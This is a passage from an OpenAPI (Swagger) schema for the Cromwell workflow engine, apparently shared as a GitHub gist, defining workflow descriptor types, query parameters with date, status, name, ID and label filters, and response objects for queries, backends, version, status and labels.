| DescriptorTypeAndVersion: | |
| type: object | |
| description: >- | |
| A workflow descriptor file type and version. | |
| required: | |
| - descriptorType | |
| - descriptorTypeVersion | |
| properties: | |
| descriptorType: | |
| $ref: '#/definitions/DescriptorType' | |
| descriptorTypeVersion: | |
| type: string | |
| example: "1.0" | |
| DescriptorType: | |
| type: string | |
| description: >- | |
| One from a list of descriptor type strings (e.g. CWL, WDL). | |
| Note that these files can also include associated Docker/container files | |
| and test parameters that further describe a version of a tool | |
| example: "WDL" | |
| enum: | |
| - CWL | |
| - WDL | |
| WorkflowQueryParameter: | |
| description: Workflow query parameters | |
| minProperties: 1 | |
| maxProperties: 1 | |
| properties: | |
| submission: | |
| type: string | |
| format: date-time | |
| description: > | |
| Returns only workflows with an equal or later submission time. Can be specified at most once. If both submission time and start date are | |
| specified, submission time should be before or equal to start date. | |
| start: | |
| type: string | |
| format: date-time | |
| description: > | |
| Returns only workflows with an equal or later start datetime. Can be specified at most once. | |
| If both start and end date are specified, start date must be before or equal to end date. | |
| end: | |
| type: string | |
| format: date-time | |
| description: > | |
| Returns only workflows with an equal or earlier end datetime. Can be specified at most once. | |
| If both start and end date are specified, start date must be before or equal to end date. | |
| status: | |
| type: string | |
| enum: | |
| - Submitted | |
| - Running | |
| - Aborting | |
| - Failed | |
| - Succeeded | |
| - Aborted | |
| description: > | |
| Returns only workflows with the specified status. If specified multiple times, | |
| returns workflows in any of the specified statuses. | |
| name: | |
| type: string | |
| pattern: ^[a-zA-Z][a-zA-Z0-9_]*$ | |
| description: > | |
| Returns only workflows with the specified name. If specified multiple times, | |
| returns workflows with any of the specified names. | |
| id: | |
| type: string | |
| pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$ | |
| description: > | |
| Returns only workflows with the specified workflow id. If specified multiple times, | |
| returns workflows with any of the specified workflow ids. | |
| excludeLabelAnd: | |
| type: string | |
| format: array | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Excludes workflows with the specified label. If specified multiple times, | |
| excludes workflows with all of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| excludeLabelOr: | |
| type: string | |
| format: array | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Excludes workflows with the specified label. If specified multiple times, | |
| excludes workflows with any of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| includeSubworkflows: | |
| type: string | |
| format: boolean | |
| description: Include subworkflows in results. By default, it is taken as true. | |
| page: | |
| type: int | |
| description: When pageSize is set, which page of results to return. If not set, the first page of 'pageSize' results will be returned. | |
| pageSize: | |
| type: int | |
| description: The number of results to return at a time | |
| WorkflowQueryResponse: | |
| description: Response to a workflow query | |
| required: | |
| - results | |
| - totalResultsCount | |
| properties: | |
| results: | |
| type: array | |
| items: | |
| $ref: '#/definitions/WorkflowQueryResult' | |
| totalResultsCount: | |
| type: integer | |
| WorkflowQueryResult: | |
| description: Result for an individual workflow returned by a workflow query | |
| required: | |
| - id | |
| - name | |
| - status | |
| properties: | |
| id: | |
| type: string | |
| description: Workflow ID | |
| name: | |
| type: string | |
| description: Workflow name | |
| status: | |
| type: string | |
| description: Workflow status | |
| submission: | |
| type: string | |
| format: date-time | |
| description: Workflow submission datetime | |
| start: | |
| type: string | |
| format: date-time | |
| description: Workflow start datetime | |
| end: | |
| type: string | |
| format: date-time | |
| description: Workflow end datetime | |
| BackendResponse: | |
| required: | |
| - supportedBackends | |
| - defaultBackend | |
| properties: | |
| supportedBackends: | |
| type: array | |
| description: The backends supported by this server | |
| items: | |
| type: string | |
| defaultBackend: | |
| type: string | |
| description: The default backend of this server | |
| VersionResponse: | |
| description: Returns the version of Cromwell | |
| properties: | |
| cromwell: | |
| type: string | |
| description: The version of the Cromwell Engine | |
| example: 30 | |
| StatusResponse: | |
| description: Returns the status of monitored subsystems. | |
| type: object | |
| properties: | |
| serviceName: | |
| type: object | |
| properties: | |
| ok: | |
| type: boolean | |
| messages: | |
| type: array | |
| items: | |
| type: string | |
| LabelsResponse: | |
| required: | |
| - id | |
| - labels | |
| properties: | |
| id: | |
| type: string | |
| description: The identifier of the workflow | |
| example: label-key-1 | |
| labels: | |
| type: string | |
| description: The labels which have been updated | |
| example: label-value-1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment